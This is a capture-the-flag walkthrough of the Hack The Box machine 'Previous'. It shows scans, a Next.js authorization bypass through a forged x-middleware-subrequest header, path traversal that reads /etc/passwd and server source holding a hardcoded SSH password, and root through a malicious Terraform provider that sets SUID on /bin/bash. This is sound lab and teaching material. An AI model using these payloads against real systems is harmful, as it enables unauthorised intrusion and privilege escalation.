Previous - HTB
A Linux machine that is vulnerable to a Next.js auth vulnerability.
Machine Information
| Machine Info | Details |
|---|---|
| OS | Linux |
| Level | Medium |
| Points | 30 |
| Author | brun0ne |
| IP Address | 10.129.242.162 |
Summary
Previous is a Linux machine that focuses on exploiting modern web framework vulnerabilities and misconfigured infrastructure tools. The exploitation begins by leveraging a Next.js middleware authorization bypass (CVE-2025-29927) via a custom header to access a restricted /api/download endpoint. This leads to a Local File Inclusion (LFI) vulnerability through the example parameter, which is used to leak server-side source code containing hardcoded SSH credentials for the user jeremy. After gaining initial access, privilege escalation is achieved by hijacking a Terraform provider through the dev_overrides configuration, allowing for the execution of a malicious SUID-setting binary as root.
Enumeration
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ nmap -sC -sV 10.129.242.162
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-08 22:25 +08
Nmap scan report for 10.129.242.162
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.84 seconds
- ssh and http port open
- port 80 redirecting to
previous.htb, add this to/etc/hosts
1
2
3
scho "10.129.242.162 previous.htb" | sudo tee -a /etc/hosts
[sudo] password for kali:
10.129.242.162 previous.htb
Directory Fuzzing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ dirsearch -u http://previous.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/htb/machine/previous/reports/http_previous.htb/_api_25-09-08_22-41-09.txt
Target: http://previous.htb/
[10:42:11] Scanning:
[10:42:44] 307 - 40B - /api.json -> /api/auth/signin?callbackUrl=%2Fapi.json
[10:42:44] 307 - 39B - /api.php -> /api/auth/signin?callbackUrl=%2Fapi.php
[10:42:44] 307 - 40B - /api-docs -> /api/auth/signin?callbackUrl=%2Fapi-docs
[10:42:44] 307 - 35B - /api -> /api/auth/signin?callbackUrl=%2Fapi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt:FUZZ -u http://previous.htb/api/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
scripts [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 294ms]
search [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 339ms]
components [Status: 307, Size: 48, Words: 1, Lines: 1, Duration: 339ms]
Its redirecting cuz we dont have a valid session.
CVE-2025-29927
Authorization Bypass Vulnerability in Next.js
Next.js Middleware Authorization Bypass Vulnerability
Example:
1
2
3
GET /admin HTTP/1.1
Host: vulnerable-site.com
x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
The vulnerability can be exploited without authentication. By including the correct header value in an HTTP request, an attacker can, in some cases, trick the application into skipping authentication and authorization checks and gain access to protected resources.
The core issue lies in the improper validation of the “x‑middleware‑subrequest” header. This header is intended for internal use only, an attacker can craft a simple request that mimics this request header, which tricks the system into treating the request as an internal one and bypassing critical checks.
lets try to fuzz with next auth js bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
└─$ dirsearch -u http://previous.htb/api -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/htb/machine/previous/reports/http_previous.htb/_api_25-09-08_22-41-09.txt
Target: http://previous.htb/
[22:41:09] Starting: api/
[22:41:13] 308 - 22B - /api/%2e%2e//google.com -> /api/%2E%2E/google.com
[22:42:06] 400 - 64B - /api/auth/admin
[22:42:06] 400 - 64B - /api/auth/adm
[22:42:06] 400 - 64B - /api/auth/login
[22:42:06] 400 - 64B - /api/auth/login.html
[22:42:06] 400 - 64B - /api/auth/logon
[22:42:06] 400 - 64B - /api/auth/login.js
[22:42:06] 400 - 64B - /api/auth/login.aspx
[22:42:06] 400 - 64B - /api/auth/login.jsp
[22:42:06] 302 - 0B - /api/auth/signin -> /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000
[22:42:07] 400 - 64B - /api/auth/login.php
[22:42:07] 308 - 23B - /api/axis//happyaxis.jsp -> /api/axis/happyaxis.jsp
[22:42:07] 308 - 28B - /api/axis2-web//HappyAxis.jsp -> /api/axis2-web/HappyAxis.jsp
[22:42:07] 308 - 34B - /api/axis2//axis2-web/HappyAxis.jsp -> /api/axis2/axis2-web/HappyAxis.jsp
[22:42:15] 308 - 56B - /api/Citrix//AccessPlatform/auth/clientscripts/cookies.js -> /api/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[22:42:26] 400 - 28B - /api/download
[22:42:28] 308 - 46B - /api/engine/classes/swfupload//swfupload_f9.swf -> /api/engine/classes/swfupload/swfupload_f9.swf
[22:42:28] 308 - 43B - /api/engine/classes/swfupload//swfupload.swf -> /api/engine/classes/swfupload/swfupload.swf
[22:42:30] 308 - 31B - /api/extjs/resources//charts.swf -> /api/extjs/resources/charts.swf
[22:42:37] 308 - 41B - /api/html/js/misc/swfupload//swfupload.swf -> /api/html/js/misc/swfupload/swfupload.swf
Task Completed
api/download looks interesting, fuzz it for parameter
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://previous.htb/api/download?FUZZ=auth -H "x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware" -mc all -fw 2
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://previous.htb/api/download?FUZZ=auth
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Header : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response words: 2
________________________________________________
example [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 261ms]
LFI parameter
test the example parameter for LFI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GET /api/download?example=../../../../etc/passwd HTTP/1.1
Host: previous.htb
x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
Next.js Project structure and organization The default path of Next.js environment is app/. Default build artifact, app/.next/routes-manifest.json. An internal file generated during nmp run build that maps application routes to compiled files for efficient server-side resolution.
1
2
3
GET /api/download?example=../../../../app/.next/routes-manifest.json HTTP/1.1
Host: previous.htb
x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
{
"version": 3,
"pages404": true,
"caseSensitive": false,
"basePath": "",
"redirects": [
{
"source": "/:path+/",
"destination": "/:path+",
"internal": true,
"statusCode": 308,
"regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
}
],
"headers": [],
"dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
},
{
"page": "/docs/[section]",
"regex": "^/docs/([^/]+?)(?:/)?$",
"routeKeys": {
"nxtPsection": "nxtPsection"
},
"namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
}
],
"staticRoutes": [
{
"page": "/",
"regex": "^/(?:/)?$",
"routeKeys": {},
"namedRegex": "^/(?:/)?$"
},
{
"page": "/docs",
"regex": "^/docs(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs(?:/)?$"
},
{
"page": "/docs/components/layout",
"regex": "^/docs/components/layout(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/layout(?:/)?$"
},
{
"page": "/docs/components/sidebar",
"regex": "^/docs/components/sidebar(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/sidebar(?:/)?$"
},
{
"page": "/docs/content/examples",
"regex": "^/docs/content/examples(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/examples(?:/)?$"
},
{
"page": "/docs/content/getting-started",
"regex": "^/docs/content/getting\\-started(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/getting\\-started(?:/)?$"
},
{
"page": "/signin",
"regex": "^/signin(?:/)?$",
"routeKeys": {},
"namedRegex": "^/signin(?:/)?$"
}
],
"dataRoutes": [],
"rsc": {
"header": "RSC",
"varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
"prefetchHeader": "Next-Router-Prefetch",
"didPostponeHeader": "x-nextjs-postponed",
"contentTypeHeader": "text/x-component",
"suffix": ".rsc",
"prefetchSuffix": ".prefetch.rsc",
"prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
"prefetchSegmentSuffix": ".segment.rsc",
"prefetchSegmentDirSuffix": ".segments"
},
"rewriteHeaders": {
"pathHeader": "x-nextjs-rewritten-path",
"queryHeader": "x-nextjs-rewritten-query"
},
"rewrites": []
}
This is the path of auth js
1
2
3
4
5
6
7
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
1
2
3
GET /api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js HTTP/1.1
Host: previous.htb
x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
"use strict";
(() => {
var e = {};
e.id = 651, e.ids = [651], e.modules = {
3480: (e, n, r) => {
e.exports = r(5600)
},
5600: e => {
e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js")
},
6435: (e, n) => {
Object.defineProperty(n, "M", {
enumerable: !0,
get: function() {
return function e(n, r) {
return r in n ? n[r] : "then" in n && "function" == typeof n.then ? n.then(n => e(n, r)) : "function" == typeof n && "default" === r ? n : void 0
}
}
})
},
8667: (e, n) => {
Object.defineProperty(n, "A", {
enumerable: !0,
get: function() {
return r
}
});
var r = function(e) {
return e.PAGES = "PAGES", e.PAGES_API = "PAGES_API", e.APP_PAGE = "APP_PAGE", e.APP_ROUTE = "APP_ROUTE", e.IMAGE = "IMAGE", e
}({})
},
9832: (e, n, r) => {
r.r(n), r.d(n, {
config: () => l,
default: () => P,
routeModule: () => A
});
var t = {};
r.r(t), r.d(t, {
default: () => p
});
var a = r(3480),
s = r(8667),
i = r(6435);
let u = require("next-auth/providers/credentials"),
o = {
session: {
strategy: "jwt"
},
providers: [r.n(u)()({
name: "Credentials",
credentials: {
username: {
label: "User",
type: "username"
},
password: {
label: "Password",
type: "password"
}
},
authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? {
id: "1",
name: "Jeremy"
} : null
})],
pages: {
signIn: "/signin"
},
secret: process.env.NEXTAUTH_SECRET
},
d = require("next-auth"),
p = r.n(d)()(o),
P = (0, i.M)(t, "default"),
l = (0, i.M)(t, "config"),
A = new a.PagesAPIRouteModule({
definition: {
kind: s.A.PAGES_API,
page: "/api/auth/[...nextauth]",
pathname: "/api/auth/[...nextauth]",
bundlePath: "",
filename: ""
},
userland: t
})
}
};
var n = require("../../../webpack-api-runtime.js");
n.C(e);
var r = n(n.s = 9832);
module.exports = r
})();
We found jeremy user and password authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes")
SSH User
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ssh jeremy@10.129.242.162
jeremy@previous:~$ ls -la
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root root 4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root root 9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy 220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy 807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy 150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root jeremy 33 Sep 8 14:21 user.txt
jeremy@previous:~$ cat user.txt
25c19d**************************
Privilege Escalation Root
1
2
3
4
5
6
7
8
9
10
jeremy@previous:~$ sudo -l
[sudo] password for jeremy:
Sorry, try again.
[sudo] password for jeremy:
Matching Defaults entries for jeremy on previous:
!env_reset, env_delete+=PATH, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jeremy may run the following commands on previous:
(root) /usr/bin/terraform -chdir\=/opt/examples apply
Terraform is an Infrastructure as Code (IaC) tool used to automate the building, changing, and versioning of infrastructure safely and efficiently.
Provider override
Development Overrides for Provider Developers
Create a Malicious Provider
1
2
#!/bin/bash
chmod u+s /bin/bash
1
chmod +x provider
point the directory where provider is
1
2
3
4
5
6
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/home/jeremy/privesc"
}
direct {}
}
Execute terraform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
jeremy@previous:~/privesc$ sudo /usr/bin/terraform -chdir\=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│
│ The following provider development overrides are set in the CLI configuration:
│ - previous.htb/terraform/examples in /home/jeremy/privesc
│
│ The behavior may therefore not match any released version of the provider and applying changes may cause
│ the state to become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the
│ schema for provider previous.htb/terraform/examples: failed to instantiate provider
│ "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message:
│ Failed to read any lines from plugin's stdout
│ This usually means
│ the plugin was not compiled for this architecture,
│ the plugin is missing dynamic-link libraries necessary to run,
│ the plugin is not executable by this process due to file permissions, or
│ the plugin failed to negotiate the initial go-plugin protocol handshake
│
│ Additional notes about plugin:
│ Path: /home/jeremy/privesc/terraform-provider-examples_v0.1_linux_amd64
│ Mode: -rwxrwxr-x
│ Owner: 1000 [jeremy] (current: 0 [root])
│ Group: 1000 [jeremy] (current: 0 [root])
│ ..
run the root shell
1
2
3
4
5
6
7
8
jeremy@previous:~/privesc$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1396520 Mar 14 2024 /bin/bash
jeremy@previous:~/privesc$ /bin/bash -p
bash-5.1# cd /root
bash-5.1# ls
clean examples go root.txt
bash-5.1# cat root.txt
408f10**************************






